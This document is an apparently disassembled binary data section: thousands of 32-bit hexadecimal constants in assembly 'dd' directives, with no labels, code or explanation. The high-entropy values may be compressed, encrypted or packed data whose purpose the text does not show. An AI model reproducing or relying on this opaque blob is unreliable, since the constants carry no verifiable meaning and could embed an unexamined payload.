		dd 485EB2F0h, 3C00CC88h, 454CB39Eh, 594848F8h, 7C059344h
		dd 8165789h, 0C7104C3Ah, 23BFC326h, 0B03590F8h,	6AFA014Dh
		dd 0AE5C1DF9h, 29742C59h, 0A837F443h, 20C07A75h, 161E87E1h
		dd 8C27B36h, 51C02278h,	4EA4696Ch, 687C2C23h, 726C3C1Dh
		dd 9713C540h, 0E02FC902h, 788F02A4h, 0DFF7084h,	0E10ABC4Bh
		dd 0A4FC866Fh, 80DF2A83h, 0F2D4E81Ch, 0F6713Ah,	0AF8164DEh
		dd 2D7A282Fh, 0B1A569C4h, 50CB14D5h, 0B3C0FEC8h, 0B56A9E3h
		dd 577B5003h, 0B606C084h, 8656B1DCh, 0C8006872h, 0F00BD3C0h
		dd 0E8E27289h, 76DDA43Eh, 8E16024h, 0E3F6A820h,	6C470486h
		dd 62F39E33h, 42662092h, 223DEE6Ch, 0DBF4072Ch,	0F721A7AAh
		dd 519597D0h, 3E80D021h, 3B9E086Ch, 456D0087h, 947E736Ch
		dd 0ABBB6400h, 269AB03Ch, 0F7800C6h, 0C958352Eh, 4741C4A8h
		dd 2BF03026h, 38C8B4D4h, 0BF8580AAh, 69FDC590h,	72C98100h
		dd 51D01ED2h, 0CC25E086h, 0CC09E4A0h, 8A04CB77h, 30BB9DD8h
		dd 0F488C88Eh, 1FFCB6C0h, 469E26ECh, 0D0261B73h, 8CC47AFAh
		dd 948BC5Dh, 4285A6F9h,	0B1844068h, 0C4740531h,	53E3C8AAh
		dd 8800CBDCh, 43D5C094h, 0D201C9EBh, 8AC4EE95h,	5084EDB8h
		dd 0E03BD6A7h, 3DB812A8h, 0FC74EE07h, 44CABAA1h, 1781E91Ch
		dd 87688AACh, 2081F845h, 811F9DAFh, 0B7ABF961h,	0FBCC57h
		dd 92D62BCh, 20D14A49h,	932A15E8h, 738D5600h, 986DBF39h
		dd 1A90F6C5h, 0A99144A9h, 0FD449C67h, 42787160h, 8A23A500h
		dd 6EC73145h, 8469043Dh, 0C037925Ch, 0D0142150h, 2B26A09h
		dd 0CA040996h, 47884740h, 0BC63D8F6h, 6812C869h, 396E2C48h
		dd 523202D4h, 2C6A5686h, 0EF792C71h, 0E3CC018h,	7AF296E8h
		dd 0C0DA68D8h, 0AD4AA849h, 631CC4FAh, 0D85D98EBh, 10571F80h
		dd 92BCFF4Dh, 53C46B4h,	70CF8D23h, 402CA016h, 8CEB00DFh
		dd 28A7E0D3h, 4C1EADEEh, 0AE40B5CBh, 0CDEF3A84h, 16A60125h
		dd 0B226C938h, 0B86C3C09h, 0C44C8C65h, 6EFA02F9h, 0E079EE7Ah
		dd 99B6268h, 0E91143BEh, 73CA9061h, 98412D18h, 124C4614h
		dd 0E4E8A7h, 0EB2FD07Ch, 520F5B3Dh, 0A516690Eh,	9420C593h
		dd 846359h, 0F20F840h, 1858C6D8h, 3D283648h, 17C3272Fh
		dd 808F1194h, 8DE4F0B5h, 0ACF64895h, 0E97E0076h, 15D6A878h
		dd 182FE360h, 0D03DB3h,	60A52557h, 15FA3387h, 9FF78305h
		dd 0A4D8412Dh, 1BE6308Bh, 83163D11h, 0F7BAF00h,	0AA9DD135h
		dd 31E00CEh, 0BED3D76Eh, 0FD4993B5h, 6FF00034h,	236CF404h
		dd 0E64909CAh, 80DFD441h, 8E053B4Fh, 7A010031h,	0EB235762h
		dd 8B06D672h, 2BD7F7DBh, 7370410h, 47EA5B65h, 0E5907C8Eh
		dd 20ABE2h, 0F0B1251Fh,	640DD212h, 5CB4EB00h, 191D8C0h
		dd 0E6F645h, 90FE0271h,	0DEA5B154h, 68D06D30h, 74B65C2Bh
		dd 5A84183Dh, 8EF661DAh, 5F2E170Fh, 5776E38Fh, 0ED0830E7h
		dd 17961521h, 6D398C00h, 0FA0D585Ah, 54D8009Ch,	9443600Ah
		dd 0DC06D603h, 76F29BD7h, 12EB0068h, 0FB82662Eh, 0F3F4C71Bh
		dd 21B109DEh, 0C1D92632h
		dd 30F0B0ADh, 0B978731Ah, 4A3EC0B0h, 0EABD05B5h, 4726BE25h
		dd 0B08FCB94h, 168E5C32h, 96A4DA18h, 0C0EAD208h, 0B587E620h
		dd 0C800C771h, 28130255h, 14B94ADh, 0CF5F228Eh,	80DE5BB6h
		dd 1C0988D9h, 752E2995h, 0B0931815h, 212A80A6h,	16F9900Ch
		dd 8C92D8D3h, 8B663104h, 6C6253FBh, 66293920h, 490E0096h
		dd 5F93625Bh, 42795581h, 0E8EB3600h, 7A07FBECh,	9B2B2B3Ch
		dd 17930FC4h, 62E75F44h, 9B1620E8h, 0FA068B17h,	0DC5B807Ah
		dd 51640019h, 0AED93C4h, 0B50CD4A0h, 60733A8Ah,	8D048C85h
		dd 975F2D17h, 1420E962h, 1941795h, 0FB994ED0h, 45EA1C68h
		dd 0DD580288h, 84B095D7h, 8C3B662Ch, 6722C6FBh,	66243400h
		dd 68D56A76h, 0A5730441h, 82C4F722h, 88308640h,	5CD01117h
		dd 80F388BFh, 0A117901Bh, 1A00DA4Bh, 5898207Eh,	775CE589h
		dd 0D4D45059h, 0DA370F0Eh, 53107757h, 3069A248h, 3002D2F1h
		dd 8B05D2Eh, 0E1D484DDh, 90FCA881h, 5273CCC3h, 80D7C8D9h
		dd 7C665D28h, 0F3032773h, 8FCB219Ch, 3FC78C95h,	376AD3FAh
		dd 21C70831h, 387023AAh, 0A444495Fh, 67A23853h,	0A929030h
		dd 6945A05Ch, 880C3BB4h, 3898C0F4h, 0D9003276h,	1E390496h
		dd 28295EAEh, 9CEEF8h, 23DA282Ah, 2FE3149h, 8535627Fh
		dd 0C008A0D5h, 0B58BC029h, 6E215C36h, 1CE9117h,	66B583E2h
		dd 0B860B3D1h, 0EA10381h, 7529505Fh, 7A639871h,	0B096D8B9h
		dd 0F094F619h, 0AC737B7Dh, 952F029Ch, 0FBDF5D88h, 9613C119h
		dd 78A395D0h, 0C12CB01h, 24DEF8DBh, 2F3CA892h, 288C7E30h
		dd 208CEFDFh, 0D803F864h, 455F0C63h, 61D6D0C9h,	0EA76215Ah
		dd 8D802311h, 9E5C2CB5h, 0D1221643h, 0B585E407h, 7180EFF6h
		dd 90B0C868h, 0E35E2E24h, 797005B3h, 8890041Dh,	880CCE2Dh
		dd 0C10FC0ECh, 5C0C1025h, 0B08B24FCh, 0C50388D2h, 0A379CA8h
		dd 91DBD500h, 9ABAA48Eh, 0FBB700CAh, 196998A6h,	2701D2F5h
		dd 951E758Ch, 3980DC3Ch, 8E5DE0C2h, 8401464Fh, 10858942h
		dd 2085D2F7h, 461850DAh, 991A5BECh, 0C63C361Bh,	976EF841h
		dd 1B9E2B0h, 91C337E0h,	0D89F794Bh, 0F3E0735Bh,	2FA22200h
		dd 0CC8CE7E5h, 6B6224D3h, 802411A8h, 5D8D952Ch,	0C2458C27h
		dd 9BC824F9h, 311F0074h, 9AFE670Dh, 0F400025Eh,	493CBB6h
		dd 285162F8h, 3F40BBCh,	0C731BD27h, 0B900E75Ah,	37E48C68h
		dd 0F8E618h, 94113D8Ah,	56E3C821h, 505CF209h, 89682099h
		dd 58A497FDh, 0A28B1829h, 5B613023h, 27188CCCh,	0B589028Ch
		dd 177E5C30h, 0E010D719h, 0BF06B581h, 0AD0215Eh, 58711258h
		dd 241C4148h, 0BA068826h, 5C04C219h, 42EA2021h,	0ABACC68h
		dd 0C84674E4h, 0AFFAE400h, 50A27E04h, 0DE644E01h, 0F8A4885Dh
		dd 15662C30h, 0FC7F56DAh, 0D090FD04h, 216C91DFh, 8848D378h
		dd 8C68E8C4h, 60FF3F19h, 821822B8h, 5C2FB51Ah, 0D35C24B0h
		dd 0B59AEB41h, 5AA3F8B3h, 21F69D06h, 2A88F198h,	1F0E45Bh
		dd 86838E18h, 0D0746471h, 920263C4h, 0FA5DAB08h, 647C67FEh
		dd 0F81560D3h, 18EF2819h, 81407580h, 0CE1C60FBh, 1C47C4A2h
		dd 0FD60CE44h, 0F701C028h, 0DD591D22h, 6BCD7062h, 9C204021h
		dd 2D028C25h, 2F5D8E95h, 10CF19FAh, 18952594h, 0EAB0D806h
		dd 63028D7Ch, 20885FB5h, 0E8EC8CD2h, 0E4043029h, 0C7E060C1h
		dd 50F0FE81h, 6118C1E9h, 73750E89h, 1CC90044h, 5F077BA6h
		dd 71CE0C27h, 0D79D23Ch, 8915B21Dh, 3A95DBC2h, 141C44FDh
		dd 0C5F84CFEh, 5BE40A00h, 0B3130667h, 6862D000h, 7A56DBDh
		dd 0F7C41CE9h, 8B8B5EFFh, 40DD2B39h, 1F806009h,	0D899BCAh
		dd 0D0180E61h, 80E109E8h, 1EC2B102h, 3874DF1h, 0F2921D5h
		dd 1F060682h, 1399BD23h, 0EB5F1136h, 20FF5F04h,	4F2183E8h
		dd 577087FEh, 35593305h, 0E6FAB1C5h, 0BB6CB0CFh, 0AA26000Eh
		dd 0B5011297h, 0CFDD0F11h, 0C242D8Ch, 7185108Dh, 2EAA5F1Ch
		dd 18142308h, 2215092h,	0E29D0980h, 50908034h, 81E852h
		dd 3AD8ED5Dh, 56635A4h,	5E72F3BEh, 13F6FE90h, 66F9C4B0h
		dd 0F607A0Ah, 1F3B1E89h, 6157DBBFh, 885D8EFEh, 0CFFCC018h
		dd 6AEEA73Eh, 5E3F7CBFh, 0BA011946h, 1F202785h,	44B140B6h
		dd 0F78ADC9Dh, 1D51FCD9h, 0C575CF18h, 68417702h, 40C03B55h
		dd 502D958Ah, 0F283B42Eh, 0E756BF05h, 0E06503D6h, 0CDA93A67h
		dd 0DCFA3FA9h, 8B006690h, 71BE50F2h, 0F526FEEAh, 5D3E54Ch
		dd 1FCCE47Ah, 92F4FA42h, 61A707D5h, 67DC642Ch, 5F1A03A8h
		dd 6BAE965Fh, 0F3A0022h, 0BF66F8B7h, 4617613Bh,	249D9509h
		dd 4DECFFCAh, 510C2F60h, 0FC8D5FF5h, 0B52951B0h, 7E7FA97Fh
		dd 0F2F7B700h, 0C23A0662h, 0E15F3999h, 84D3FF1Ch, 882CCD85h
		dd 140118Bh, 0DE810266h, 0BBE93B31h, 0DBF7F14Ah, 0EA4E14DDh
		dd 15B29B53h, 0FA435830h, 269D33BDh, 9094D072h,	17A8661h
		dd 27E273DDh, 67F07D57h, 5C1B1C00h, 6CA522B0h, 4D43010h
		dd 3251B56Ch, 159DC9C2h, 1D6A820Dh, 0E3810333h,	60315B86h
		dd 2FC93456h, 0E305903h, 0B6137A5h, 850F17DBh, 588EEA9Ah
		dd 0A5C015C8h, 28BD8313h, 0C6959B71h, 253384DEh, 0D681F6BDh
		dd 91260570h, 6A0920C2h, 30DC8633h, 6FE934B6h, 0CDDD832Bh
		dd 85C705CCh, 80FD401Bh, 613D681h, 0E9255B1Dh, 0F5A79054h
		dd 0AF601A64h, 2500F5DFh, 89EFC573h, 0AC18719Dh, 0A87EE13Dh
		dd 8E1AEC47h, 0BC386D02h, 42BA835Ah, 0DFF00B73h, 1544A9E7h
		dd 7BBB0F61h, 0E50070BDh, 5973F92Bh, 1E007FF5h,	0DCF7CF81h
		dd 905E4DA9h, 92EF1F85h, 0FF230702h, 96752EFEh,	0DA00BFBCh
		dd 5D33C453h, 6C8E0F67h, 0D7662105h, 17BD8048h,	0DAFADB8Ch
		dd 875AC079h, 0BDF22B68h, 0F180AADEh, 4FCCB41Dh, 84CB39D0h
		dd 0B928D681h, 0FC347129h, 0C45E190Bh, 0CFF740FAh, 809EE5ACh
		dd 56404330h, 38E82BEh,	608592FDh, 2B0012E8h, 0B2A909BCh
		dd 0EC0776Ch, 8BFE04Dh,	7A8425E0h, 0A8C0378Fh, 253D9F1h
		dd 0FC5F0757h, 0C9C3F661h, 49AB8406h, 0D67DDCBFh, 9879B100h
		dd 0BFA8E50Eh, 70451351h, 1D8A094Dh, 369D2989h,	0E4801B91h
		dd 0B45A6FFBh, 40F13EEEh, 10A6F6CDh, 252039B0h,	2506013h
		dd 0FF38B52h, 11E93119h, 6AE8DD47h, 0AF0E0062h,	1EC0128Fh
		dd 0EC0189E7h, 0B81F4286h, 5930585Ah, 0FF245F04h, 0DB01FC6Bh
		dd 46F9E4BDh, 0B5F620EEh, 0C9C0341h, 0E92E2095h, 55A5B2CFh
		dd 3360254Dh, 3629391h,	0BD27789Dh, 0F980B058h,	0D4BF70E6h
		dd 3318D641h, 3DA4D417h, 71E48007h, 1A44D3A7h, 0EF60C660h
		dd 68266670h, 2108DE2Ah, 8311625h, 0F051869h, 0A080D8B6h
		dd 91E84E56h, 0BA59008Ah, 251AE799h, 0AFEE200h,	0E6C9091Ch
		dd 20101B8h, 0F122D19h,	24BA728Dh, 0B6407BE9h, 0DC4607h
		dd 22DB54BFh, 8D6829AEh, 96EF1000h, 5F2FC195h, 0F3064DBAh
		dd 170109F8h, 48C00C5Ah, 6DE68B3Eh, 2EA2E09Dh, 5F01317Ah
		dd 8D891349h, 0C1000A5Dh, 605804E8h, 42EA078Bh,	0A77B5114h
		dd 0A41E617Ch, 0BDA6E2F7h, 5F9629E0h, 280B3AFEh, 7D82B0Dh
		dd 388554h, 0E7BE6693h,	574850A8h, 8FF277A3h, 0A66A3224h
		dd 2B4E01E0h, 0E27E00E8h, 1CFFAC69h, 4A040BECh,	44BAF2BFh
		dd 0CE819340h, 600B43FAh, 91B5FF25h, 2871562Bh,	7A5C4FB8h
		dd 3019950Fh, 849BFED7h, 2EEC9180h, 2800D55Ch, 98E83CEh
		dd 0CE1A75B5h, 9B12B054h, 29381E8h, 3830ED03h, 0AE5C24CFh
		dd 0ED5525B5h, 438560F2h
		dd 0F77E29B7h, 46B3E148h, 5E9DB076h, 10B907D1h,	4BED057Bh
		dd 20045A04h, 3E524CBFh, 830E613Ch, 0AA120297h,	0F1E098E6h
		dd 0D992FC3Ah, 2BB55795h, 0D84F6480h, 17E06D2Ch, 54BD8D09h
		dd 9BD2C6EEh, 0AF77803Fh, 14C873Eh, 0F1807C06h,	8310E8BFh
		dd 9F04E225h, 3540D81Bh, 31E2F6h, 4D932A03h, 0F608F81h
		dd 86C9BF39h, 5F61C3B7h, 90F8710Ah, 1DC3AAEBh, 81171199h
		dd 805EEA56h, 0BEE97Fh,	9EB62253h, 0E6E99D3h, 0CEC7917Fh
		dd 0E72BC009h, 14115B1Dh, 1C822289h, 0E70A02A5h, 16712421h
		dd 43018A18h, 8D8B6092h, 4E9D0C61h, 1B298D03h, 3358E90Ch
		dd 301CA238h, 1A01610Dh, 937A801Fh, 0B2437F9Dh,	25AC75FAh
		dd 0FB2E4A88h, 0A14DBD84h, 0B947601Eh, 81874E94h, 82DE0BF7h
		dd 59C18331h, 1815D1DBh, 3BB713CAh, 0E3C0DD9h, 0F0456679h
		dd 0EC8CE125h, 4496176Ch, 8540049Ah, 0B7660F20h, 0A704AC13h
		dd 5F022BEDh, 0AEE9C1F6h, 0B4F97EA4h, 850B9EE8h, 7BF5E03h
		dd 9840F908h, 0B951A336h, 49B549B0h, 0A8371380h, 2EDF7B52h
		dd 100789E1h, 775B3A23h, 12DB3549h, 8C3AC32Bh, 0A1031423h
		dd 8C952360h, 0C0420FF1h, 0BE69C0CFh, 3DA609C5h, 36CB0834h
		dd 1EC23DFEh, 5AE9ABF0h, 0D17BA0D0h, 7ADCBF0Eh,	4130CD49h
		dd 0F40AB6F6h, 4F0C519Eh, 923A850Fh, 0F906C9F8h, 0D849038Eh
		dd 58BF5B57h, 6A01BEF1h, 0C74263B9h, 3D686585h,	8A31D904h
		dd 0C02DDB70h, 0BC5CC73Fh, 0E00545E8h, 0F256997h, 4B88817Fh
		dd 8B445EB3h, 1A23312Eh, 3081F11Ch, 0A4F8D291h,	4135E070h
		dd 0E20A3815h, 89518785h, 0D8A02DF5h, 1642F9FFh, 2F364E9h
		dd 2CAAEDA7h, 6EC8667h,	28B0BF05h, 3D85ADBh, 1D89500Fh
		dd 79BD190Bh, 7F90181Dh, 0B4944DF8h, 4E0E1110h,	0DF804B20h
		dd 8CFF009Ch, 34DED881h, 0FC3E2464h, 64E4AEE9h,	0FFE13660h
		dd 970A007Bh, 1D071372h, 0B7790E7Ah, 0B5E98B05h, 1701E85Fh
		dd 8FCC74F5h, 17521F0h,	32577986h, 0D8AC434Ch, 45B4E60Dh
		dd 0CB049E40h, 8B553378h, 0D7775DBEh, 415FFB2Ah, 8080583Fh
		dd 92E1F3CBh, 1E326681h, 2C7CA25h, 5F8F561Eh, 1544E847h
		dd 41EF8761h, 85099D8Fh, 0D39B57Bh, 1BB2A8B3h, 0DF5E30h
		dd 593CA6AAh, 8D012228h, 7C31B526h, 0C3E1BF80h,	0D2198529h
		dd 7BF2AB67h, 0CD9D0904h, 8C560C03h, 5E0FCB2Dh,	94CC656Dh
		dd 51FD02C7h, 0A58589ACh, 838357CAh, 6CA2F70Ah,	67D4A40h
		dd 3868E980h, 0FBCDFFF6h, 0C54CD4BCh, 0DBC60B11h, 0C1970484h
		dd 24005DB2h, 6B0D1C6Eh, 5000160Eh, 45DA41B9h, 91B2CBEh
		dd 11729D8Ch, 0CB8B2618h, 5290F100h, 74C00873h,	6E3701A9h
		dd 1143DFCDh, 55C130D1h, 78E392A4h, 9EBE4ACDh, 633D8036h
		dd 177FC63Bh, 8DFC9FF9h, 0F0E007B1h, 0F38B90EDh, 220F5048h
		dd 49B60F0Ch, 652058B4h, 874A0311h, 96AA1832h, 0D65BFF90h
		dd 4C795C58h, 192DE5DDh, 26486D8Dh, 0BA6DF05Ah,	24E6E255h
		dd 82ED3FCh, 0E9132059h, 0F582CB20h, 272C006Ah,	0E8B7AC61h
		dd 0A207FE4Ah, 8AAFA342h, 82629650h, 602A9C6Ah,	33F7CE14h
		dd 0BFEBA600h, 8D86416Dh, 7E997AEEh, 3EAB2880h,	0A95309A3h
		dd 0B6D07DCh, 3BB9AAC0h, 78C10BD4h, 7D92E9FBh, 6B3EFC55h
		dd 0E98BA662h, 0BE50A0A0h, 902777FCh, 375B893Fh, 0F91F8915h
		dd 3E8B5D98h, 9BFACB00h, 49B503B0h, 444A820Ch, 0D69E5455h
		dd 5F1DB8FAh, 0F08531B6h, 5780D96Ah, 0D08055E6h, 19E89C56h
		dd 6B2C948Ch, 0BD66882Bh, 807883B3h, 423701DDh,	8B781626h
		dd 0D1DE78F7h, 184FBCB0h, 0F4D3FFB3h, 342F55CFh, 0FFF01AF8h
		dd 84583F73h, 750A0021h, 850BFD91h, 9526292Eh, 0E985F76Dh
		dd 0FF2085Ch, 40A9D0DCh, 0A5911EEh, 8E86B0EEh, 880DC901h
		dd 85881859h, 457121Fh,	162B9148h, 0E19D3C02h, 2F7AD216h
		dd 0F1391909h, 34E279F9h, 0F9AA10F5h, 0BDB814h,	8443A4C8h
		dd 72CCA88h, 3EF683E4h,	0EA23A75Eh, 6E354B4Fh, 336100B4h
		dd 0F4C4B6E8h, 0EEE4018Ch, 0E9F2B70Fh, 12ED7FA7h, 9A074CE8h
		dd 3A5846CBh, 85C7FAF1h, 618B8AFh, 169675E9h, 7EC402F6h
		dd 604C88A6h, 4BA67455h, 3339EA02h, 5908190Ah, 60610432h
		dd 9B59E4E8h, 80475E38h, 634A77A6h, 3D3369Eh, 0B501E8F1h
		dd 34080F1Dh, 43E9605Ah, 4BD87024h, 4A04CF68h, 9FF7DAABh
		dd 5F56C1C0h, 7449E361h, 20EEE6C2h, 0B6A22F49h,	5B552089h
		dd 0CDD279A7h, 692C60A5h, 0F791241h, 8C19ACh, 2CC99F82h
		dd 0F560120Ch, 0CD997390h, 0CC56117h, 1D23303Ah, 0B5EB003Fh
		dd 1E34E871h, 26D5AB3h,	2AD1C734h, 2C16C9F1h, 9377DCh
		dd 0F927B4CEh, 0A9FD0FB7h, 0E07DEE0Bh, 1F0C81CFh, 0A38F08Eh
		dd 0B1BF50C7h, 65034EADh, 6D306016h, 7AE91540h,	88AE962Ah
		dd 193A0B09h, 0B023E585h, 1A6EAE2Ah, 0F2046B39h, 0D065B52Bh
		dd 8B70E637h, 71E4FE17h, 0F2850597h, 567F08A2h,	35F0A9C3h
		dd 48015BA1h, 9829FE73h, 7C8B74DEh, 0AF642645h,	0FEBF0F13h
		dd 3ECEBEC4h, 0B4C01688h, 0D63103B3h, 2B9AC1D6h, 13C01BD8h
		dd 48DA32CDh, 0E81C5812h, 4AF58E20h, 63830079h,	935E62E1h
		dd 875B0F57h, 55509B22h, 93458D7Ch, 7EE2A4A6h, 949BDE60h
		dd 259F8E01h, 0F960C7D5h, 0B821203Ah, 740784DFh, 665657BDh
		dd 828A0FC2h, 5961593Ch, 0DC4FAEE8h, 0BF06A101h, 0B29091DEh
		dd 41254F20h, 0AC0E6D08h, 92008C1Dh, 56270B47h,	1CC7AAB6h
		dd 2BB04181h, 0E0B78D8h, 0CE39F604h, 67851742h,	0BCBE6511h
		dd 1E8500BBh, 3C7B7912h, 0C45B4DDCh, 6960DC48h,	0F8DEF957h
		dd 0D202BC70h, 2DBD29B5h, 5D5E570Ah, 0B7ADBDCAh, 0E7CB018Ah
		dd 0CCBF5A6Ch, 12483A6Eh, 0BE9AB5DEh, 4CAB00DFh, 913F1D6Ah
		dd 508DD592h, 0EECEED60h, 85891254h, 0F723554Dh, 1E7D6E4Bh
		dd 5A4172AFh, 8979F088h, 0B2A16E70h, 0CDFCA29Ch, 8307E061h
		dd 0A3004391h, 521A62BEh, 2E9D2985h, 42A1176Dh,	580013C9h
		dd 0FD1ABE66h, 51229E6Dh, 0AD49BF01h, 7B972FEh,	0FF7AFF2Ah
		dd 0D6C7E901h, 6C0E7F65h, 8C1DF8B5h, 491FD900h,	0EEDEB2D3h
		dd 6F192CA4h, 54C6056Bh, 0F1C2B483h, 0CD421CB4h, 0F6810224h
		dd 45693EC0h, 4226A5B6h, 0B40F203Bh, 40D144A3h,	0B44DE781h
		dd 74605BF8h, 0A0AFF681h, 0ED51C91Ah, 19A99289h, 9EA05157h
		dd 8BA600BDh, 70987BA5h, 3ED2A702h, 535B0F4Ch, 3B1E702Fh
		dd 0F4D1F301h, 9F10DD5Bh, 8806E730h, 0AC16EF81h, 0BAC5CEF8h
		dd 0B6005D6Fh, 68A796A1h, 825BAF4Bh, 102DB262h,	2C1A88BFh
		dd 551026E9h, 6DC31F6h,	4E74FF94h, 330B5220h, 6AC08BC9h
		dd 3259A5h, 68AE5364h, 0BAB6D798h, 85C75E04h, 0B1041FE9h
		dd 8E577795h, 0C0178840h, 5078206Ah, 899B7CD7h,	0A2291882h
		dd 64BB940h, 0B589531Ch, 5EAD85A5h, 39C985B3h, 5769CFEFh
		dd 98A84771h, 0E925DF17h, 66F38E0Bh, 0F012C9A9h, 20F90F82h
		dd 11BFB709h, 0E26B801Bh, 1665DC54h, 296FCADDh,	0A8B879BAh
		dd 0AA96602Ch, 4FCF81FBh, 5D92C103h, 600AE890h,	0B2701029h
		dd 0C704628Dh, 606B8C89h, 760072A2h, 37FED928h,	0D74B02Dh
		dd 7EF37200h, 1B705CDBh, 66BF0040h, 8921EDBBh, 0F5B44995h
		dd 0F5E6102h, 60348582h, 1F4D960Ch, 61F4088Ah, 0C68009E9h
		dd 7DD0B112h, 43E602E2h, 0EDB58BCEh, 3076454Ah,	0E9A5F4DCh
		dd 2085489Ch, 78C5E5Ah,	95F8FC66h, 0A663355Dh, 39BF501Bh
		dd 9966D16h, 58E02BA6h
		dd 85297FC2h, 1D71482Ah, 5D004A18h, 0F6688C38h,	7260D8E3h
		dd 30F85E81h, 419D8BE0h, 0A540B41h, 58AFC10Bh, 0C4BF0068h
		dd 2960718Ah, 2E5A8DB5h, 0A1526DC8h, 0F631EDh, 0A3BA665Fh
		dd 0A9613D2Dh, 0D0A57B88h, 9F013A35h, 109D4A31h, 756BACDFh
		dd 0A372F63Ah, 0B0B19CF5h, 0ADD5053Eh, 0E8D7A9D3h, 239A00B4h
		dd 2B7684D1h, 1224DB5h,	78D193D3h, 0A70480A2h, 870F8222h
		dd 9D080AF2h, 822003A5h, 0DCB37E1Dh, 0B74D75A5h, 886E1861h
		dd 1359DAFEh, 0F22391B5h, 0B20FBh, 0BF525090h, 73B09315h
		dd 46310F27h, 585A270Ah, 1A1EE663h, 0D74EBE53h,	1C5E2C1Bh
		dd 0DCBE9E90h, 82A1E93Ah, 369AF910h, 0CA5840F7h, 264805A3h
		dd 0ACE6B61Fh, 8DBF3AD2h, 0E01AF92h, 4E8F876Ch,	45EDF820h
		dd 0AC0470F7h, 1E462994h, 0DB5FCBD2h, 18165942h, 1F212633h
		dd 29B5045Bh, 0F5FAC902h, 0CE476C61h, 0F1AFF289h, 81306804h
		dd 8A0FE1F8h, 0B7623A47h, 0AD38DBF0h, 0E2400C4Dh, 5BC6E950h
		dd 882B2C07h, 2568B341h, 0DB2975F2h, 463170ACh,	7E96D609h
		dd 65268480h, 0B35E5245h, 0BCC4592Eh, 0AE7B1C23h, 0F6BF82A0h
		dd 3A69D678h, 80012934h, 0FDD15AFAh, 8B300CBh, 8EB88D80h
		dd 69B6833Bh, 7F588B91h, 0BEDDED14h, 0BD83F102h, 4BD9B1C6h
		dd 305F3811h, 99852991h, 7E751F65h, 12B08EB7h, 0DC0373E6h
		dd 0A0C7A35Ah, 0FE8BA901h, 8AADB271h, 33893419h, 42E91ACEh
		dd 0DCAA5617h, 5B7F5800h, 6F54737Eh, 250B245Dh,	0F9D6054Bh
		dd 0B3F2784h, 818DCE18h, 2D890840h, 4E8AA185h, 2CF5A176h
		dd 4B16DEE4h, 1DD7037h,	0C1A8D179h, 1E7EEC02h, 18D822D5h
		dd 5A1C13D7h, 79D39210h, 24175200h, 0B65F499Eh,	8B0F0B0Ch
		dd 0F19602D1h, 0BC6DEB88h, 1B467C4Eh, 0BAC27500h, 2D78F3B4h
		dd 2F17BB4Ch, 79D68989h, 0C8005407h, 0E175DA91h, 7B66C57Ch
		dd 6CC649BEh, 0A90D118h, 507D80EEh, 3303D0Fh, 1AE7747Fh
		dd 6187FD9Dh, 55F6B0F2h, 9DE777Eh, 3E77CA35h, 85098780h
		dd 0C682254Dh, 77E200DFh, 4F0DD866h, 791C96EBh,	0C425B061h
		dd 0F8FD00B1h, 97572F9h, 7103EB10h, 9A84C5C6h, 1189853h
		dd 99704CE6h, 252A8C4Bh, 48E40840h, 164E9D71h, 0D96F97h
		dd 93381AF0h, 42E225Bh,	35B523FAh, 3B08BD06h, 0DEBA4ABAh
		dd 882B8A07h, 0FF5BAE60h, 828B0735h, 5544AD19h,	0D3ACECC3h
		dd 0A9AFAC84h, 9872AC7Eh, 16994B8Dh, 0C7A09E0Ch, 2B017DCEh
		dd 9D6493D8h, 0F708CF50h, 79B0510Ch, 965F0740h,	0BCE686Fh
		dd 0C6E096Dh, 0B05FF8F8h, 0D20EC86Fh, 0D761B64Eh, 210C7F73h
		dd 0B8F67D09h, 89860F3Ch, 24D2FDB5h, 0A4D4C720h, 0EED71308h
		dd 48FA4F8h, 9463BFE7h,	0C0509B31h, 0C95D75AEh,	6C5408F2h
		dd 888009E9h, 87C210EAh, 0F93D12C0h, 0DE3617CDh, 554FC05Dh
		dd 12E88208h, 1DE4616Fh, 4021108h, 93D1E681h, 0C2BD3A93h
		dd 2A597123h, 5E27963Dh, 7D1946h, 0ADC246E5h, 0D18A60BFh
		dd 59BD3117h, 5761F2C1h, 741FD173h, 0F64180E6h,	0C9170E1Ah
		dd 0D4511475h, 9C9E6CBCh, 60136652h, 65F19AE6h,	0E95420FBh
		dd 9501FFC4h, 6C50A8ADh, 5EDF0281h, 580398A7h, 0D873A5D3h
		dd 0EACFB739h, 0A1A408F6h, 0E705D874h, 0B1140AACh, 0EE88634h
		dd 5F8003Bh, 9701278Ch,	70014633h, 0A7BE8EC5h, 1F6D5EC0h
		dd 0CB4AE42Ch, 0C15C1D4Ah, 0D97507DEh, 0BC90BC1h, 0D954302h
		dd 24B42758h, 4A3727h, 0FCC8E56Eh, 5435D72Dh, 0CB89F073h
		dd 80222369h, 0C42517B4h, 4D6301F8h, 0DC9C0ED1h, 3A17F0ADh
		dd 74137900h, 7CE849B2h, 0ED42D82h, 144E2A91h, 4819ED8h
		dd 7A9F8DF7h, 7983FC62h, 0EEFC09FDh, 51DD16C0h,	28AC985Eh
		dd 9C78188h, 140A595Bh,	9328D25Dh, 1B92782Dh, 0C4C08B27h
		dd 6C7102A8h, 0CE6A5F3Ch, 3496B2D2h, 0F8C95EDCh, 13F13F2Eh
		dd 6BB48E0Fh, 2B91E9h, 3567A95h, 70082E1h, 0AEDA1052h
		dd 0B843E9D1h, 0DB2095ECh, 5AC101BDh, 0B0343B96h, 47CD97F3h
		dd 0B06E3E5Bh, 891A582Dh, 5A705D73h, 4FC76BCh, 27F86B07h
		dd 924CFD3Dh, 0B18DF6BBh, 29FC036Bh, 18352CBDh,	6B905154h
		dd 840BF66Eh, 7BD1890Fh, 6EA3F340h, 184C1D21h, 1C651C79h
		dd 7710C031h, 0E7F71204h, 7D209C90h, 8ABF0907h,	0A7013CB0h
		dd 392BF5B5h, 0AA512CCh, 0F06EE6BFh, 0A0191027h, 44A91CCh
		dd 0C1B503FDh, 0E808AD08h, 5E1003Ch, 131E94EBh,	712F8D31h
		dd 422EEF27h, 31EA407Bh, 2FF9D060h, 442DCF95h, 5CB8CC3Fh
		dd 9CDAEE1Eh, 0E969B940h, 981E4Bh, 0BF8E93BDh, 39ADED4Fh
		dd 759DA0A0h, 5C46A19Fh, 4DC6FFF8h, 0CA0FE607h,	0F306F863h
		dd 3595B160h, 58B98F52h, 2A23E475h, 0BC2A185h, 15298D21h
		dd 87DBD410h, 4B167769h, 0E5A010B1h, 178B2816h,	806AB79Dh
		dd 57A954C5h, 594808E2h, 249D1030h, 1E18309h, 0DB5D0189h
		dd 842B80AAh, 0A9379AB0h, 3BA48000h, 594BA251h,	8BEC2A1Dh
